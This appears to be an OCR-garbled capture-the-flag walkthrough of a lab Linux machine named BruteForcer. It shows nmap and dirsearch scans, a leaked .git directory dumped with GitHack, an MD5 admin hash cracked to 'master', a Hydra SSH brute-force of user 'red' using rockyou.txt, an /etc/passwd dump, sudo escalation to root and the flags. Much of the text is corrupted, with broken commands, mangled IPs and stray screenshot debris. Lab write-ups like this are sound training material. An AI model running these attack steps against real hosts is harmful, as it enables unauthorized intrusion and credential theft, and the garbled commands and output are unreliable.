10.17.1.9

e ping 10.17.1.9

[fusr/share/wordlists]

.1.9 (18.17.1.9) 56 y
64 bytes from 10.17.1.9: icmp_seqg=1
from 10.17.1.9: icmp_seqg=2
from 18.17.1.9: icmp_seq=3
from 18.17.1.9: icmp_seq=4
from 10.17.1.9: icmp_seqg=5
from 18.17.1.9: icmp_seq=6

(%3]

64
64

64

@Bowm i nm

ping sta
ts transmitted, & receive ; a t loss, time 5089ms
rtt min/aveg/max/mdev 3.72 <07 8.27. .179 ms

e nmap -sC -sV {ip}

— nmap -sC -sV -Pn 10.17.1.9

o IREMAEXEE thE R
e Nmap done : 53K

-Pn 18.17.
7.94 ( https map.org

Nmap scan re rt for 1@.17 9
Host is up ( s latency).
Mot shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

_:p open ssh ens 8.9pl1 Ubuntu 3ubuntu (Ubuntu Linux; protocol 2

h I'|-J;T L

http ha hTTpd 2
Hyperspace ( HTMLS UP
-header: 4.52 (Ubuntu)
http SimpleHTTP rver 8.6 (Python 3.10.12)

sitory description: Unnamed repository; edit this file 'description' to na

listing fo
cpe:fo:linux:linux_kernel

performed. Please report any incorrect results at https://nmap.org
/submi .
Nmap doné: 1 IP address (1 host up) scanned in 25.05




e dirsearch [Ri¥iFHa(5520RHE)

HEi#— sudo apt update

Z#dirsearch— sudo apt install dirsearch
—>  dirsearch -u http://10.17.1.9:80

—>  python dirsearch.py -u http://10.17.1.9

-

http://18.17.1.9:8@

HTTP method:

Output File: /home/kali/.dirsearch/reports/10.17.1.9-80,

Error Log: /home/kali/.dirsearch/logs/errors-23-08-17_8@

Target:

[ 8] Starting:

—  http://19.17.1.9/assets/

— http://10.17.1.9/images/




e GitHack

#EiLE % — cd GitHack

1R N Git{# 77 B4 FZ 50 #C $% FO B & 1€ B —python GitHack.py

http://10.17.1.9:80/backend/.git/

~/GitHack

index README .md

GitHack.py

~/GitHack
GitHack.py http://18.17.1.9:80/backend/
[+] Download and parse index +11a
[+] admi php
[+] index.php
[0K] admin.php
[OK] index.php

e information leak

—  Y1#%10.17.1.9_80

- ~f/GitHack
16.17.1.9_88

B X HNSE— catindex.php

-.-] ~/GitHack/1@.17.1.9_8@
index.php
CTYPE html>

"ebh®al19179762a4dd3as ans 0612127 ;

$password — %$hashed_password) {
= true;
.php?file=/s/etc/hosts"™);

false;
sin—container™>

—> echo 'eb0a191797624dd3a48fa681d3061212' > admin.md5



admin.md5

e wordlists

Z#wordlists— sudo apt install wordlists

fREE#— sudo gunzip rockyou.txt.gz
-] ~/GitHack/10.17.1.9_80]

> wordlists ~

fusr/share/set/src/fas ick/wordlist.txt

fusr/share/john/password.1lst

= /usr/share/nmap/nselib/data/passwords.lst
rockyou.txt
— fusr/share/sqlmap/data/txt/wordlist.tx
_)
— Jusr/share/dict/wordlist-probable.tx
fusr/share/wordlists
P {wordlist 5

an Hauser/THC & Davi L lease do not use in milita
anizations, or for illega (this is non-binding, th
ethics anyway).

Hydra (https: it .com/vanhauser-thc/thc-hydra)
[WARNING] Many & of gurations limit the number o

e hashcat

AR LRI AREERENE  SmasterF &



@) https://md5decryptnet/en/#answer

Home Encrypt / Decrypt Conversion tools Ciphers API Contact

Md5 Decrypt & Encrypt

‘ Paste one or several hashes (up to 100) /‘

Encrypt Decrypt

eb0a191797624dd3a48fa681d3061212 : master
_

e Hydra = hydra -l {user} -P {wordlist} -t 64 -l ssh://{ip}

IRIEEZE— hydra -l red -P /usr/share/wordlists/rockyou.txt -t 64 -l ssh://10.17.1.9

- fusr/share/wordlists
I fusr/share/wordlists/rockyou. txt 64 -
an Hauser/THC & David Maciejak - Please do not use in mi
for illegal purposes (this is non-binding

Hydra (https i .com/vanhauser-thec/thc-hydra) arti B8-17 00:
[WARNING] Many gurations limit the number o ar; it is
ded to reduce

[DATA] a g
[22][ssh] host: 1@. e :
1 of 1 ta C i a d found

lita
y th

A
mmen

[WARNING] V ing r 1 inal worker threads did mot complete unti

1 end.

[ERROR] 25 targe did not resolve or could not be connected

[ERROR] @ ta id not complete

Hydra (http thub.com/vanhauser-thc/thc-hydra) finished a -B8-17 08:

o Hli5user& i

Z A http://10.17.1.9/backend/




& ArediEsE .

@ o 101719

li Linux #8 Kali Tools  Kali Docs KaliForums e Kali NetHunter Exploit-D

Google Hacking

BruteForcer

L33

admin

BEs

bia 181 75/ U1 dflatiald 01 2  ETEY

EURL, hostiil Zpasswd, ZrFHF &

Kali Linux #& Kali Tools < Kali D¢

Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution — ksli.crg
forums kali — f

YouTube —

Facebook — facebook.com

Wikipedia — wikipe

Reddit — reddit.con
processor

e available

| ©  kali-linux-2023.2-vmware-amd64 - VMware Workstation

File Edit View VM Tabs Help ||~ & 2 MO8 O -
Library > |l @ Home ] My Computer I3 kali-linux-2023.2-vmware-...

> Type here t.. ¥

= [ My Computer
5> kali-linux-2(

Administrator Dashboard — Morilla Firefox

2 Kali Docs
ULSTOXCer,
BruteForcer 17.1.95:52586
17.1.55:58996
17.1.55:58083
1
1

Kali Forums X Kali NetHunter Google Hacking DB /1) Off

17.1.123:55014
.17.1.55:59057
7.1.53:53116

dnshinet_net :domain
BruteForcer 16.17.1.22:6030

TIVEVATT

Disconnected
3¢ The network

ogan

Backup - 34134 backup: /vat/backupe- /usr/sbin/nelogin

List:x:38:38:Mailing List Manager:/vaz/list:/usz/sbin/nologin

irc:x:39:39: ircd:/zun/ired: /usz/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats: /ust/sbin/nologin
/nonexistent:

SyStend-network:x:100:102: systend Network Management. .. :/run/systend: /ust/sbin/nologin

SysTend Tesolverx: 101 T03:systend Resolver ., /Tun/systend: /ust/soin/moTogin

2: 105
Sysu-md timesync:x:103:106:systend T:
elogix 104111 - /home/ sys1og: Juse) shin/nologin

_apt:x:105:65534: : /nonexistent : /usz/sbin/nologin

t55:x:106:112: TPM software stack,,, :/var/1ib/tpn: /bin/false

Uuidd:x:107:115: :/1un/uuidd: /usz/sbin/nologin

systend-oom:x:108:116:systend Userspace OOM Killer,,,:/Tun/systemd: /usz/sbin/nologin
tcpdump:x:109:117: : /nonexistent : /usz/sbin/nologin

avahi-autoipd:x:110:119:Avahi autoip daemon, ,,:/var/Lib/avahi-autoipd: /usz/sbin/nologin
usbmux:x:111:46:usbaux daemon, , , :/vaz/Lib/usbmux: /usz/sbin/nologin
dnsmasq:x:112:65534:dnsnasg, , , :/var/Lib/misc: /usx/sbin/nologin

Kexnoops :x:113:65534:Kernel Oops Tracking Daemon, .., :/: /ust/sbin/nologin

avah x:114:121;Avahd NS daenon. ., /zun/avahi.-daenon: /usr/sbin/nologin
cups-pk-helper:x:115:122:user for vice,

thit L1t IpT

whoopsie:x:117:124: :/nonexistent: /bin/false

sssdix:118:125:555D system user, ,, :/var/1ib/sss: /usz/sbin/nologin
speech-dispatcher :x:119:29:Speech Dispatcher, ,, :/run/speech-dispatcher: /bin/false
fwupd-Tefresh:x:120:126: fwupd-refresh user, . :/Iun/systemd: /usx/sbin/nologin

121 WPN, 1 /var/;
Saned:x;123:129:  var/Lib/saned: usz/sbin/nologin
colord:x:123:130: colord colour managems mon, ,,: /var/1ib/colozd: /usz/sbin/nologin
geoclue:x:124:131:: /vaz/Lib/geoclue /usx/sb)nlna]a in
1

nome-Aniial setup . 126.65534- -7 kon/ghome preti setup/: /bin/false
hplip:x:127:7:HPLIP system user, .. :/zun/hplip: /bin/false
jdm: x: 128 134:Goe Display Manager : /var/1ib/gdn3: /bin/false

1000:1000: zed., ., - /home/red: /bi
Sshdix:120:65534: :/zun/sshd: /usz/sbin/nologin

To direct input to this VM, click inside or press Ctrl+G.

e ssh& A : ssh {user}@({ip}

ssh red@10.17.1.9

oMo cC@ Gl

[SYOREN )
- T4F 02144
9 AX® ey



~[/usr/share/wordlists ]
reddl@.17.1.9

=

ome to Ubuntu

help.ubuntu.c
landscape.
ubuntu.com/

oducing
Receiwve up

Ubuntu Pro

curity Maintenmance for Applications is not enabled.

be applied immediately
additional updates run: apt list

additional future
or run: sudo pro

lable updates is more thanm a
updates run: sudo apt update
15:@1:01 from

BARrootiEfR— sudo -l

for root on BruteF
s

' =
Ssbi

raont mawv_run the following ommands on BruteForcer:
CALL : ALL) ALL

Junior{YouAreBruteForcer:D:D:D:D:D}

ne by #H¥iE / Red Meow

e Flag 2 =AIS3_Junior{First_PenTestXDDDDDDD}



reddBruteForcer:~$ 1s

redaBruteForcer:~$%

[sudo] password for
root@dBruteFor
loc
rootoBruteForc
iruteForc

ruteForcer:~# cat proof.txt
Junior{First_PenTestXDDDDDDD}

Machine by # ¥ & / Red Meow

root@BruteForcer:~# |




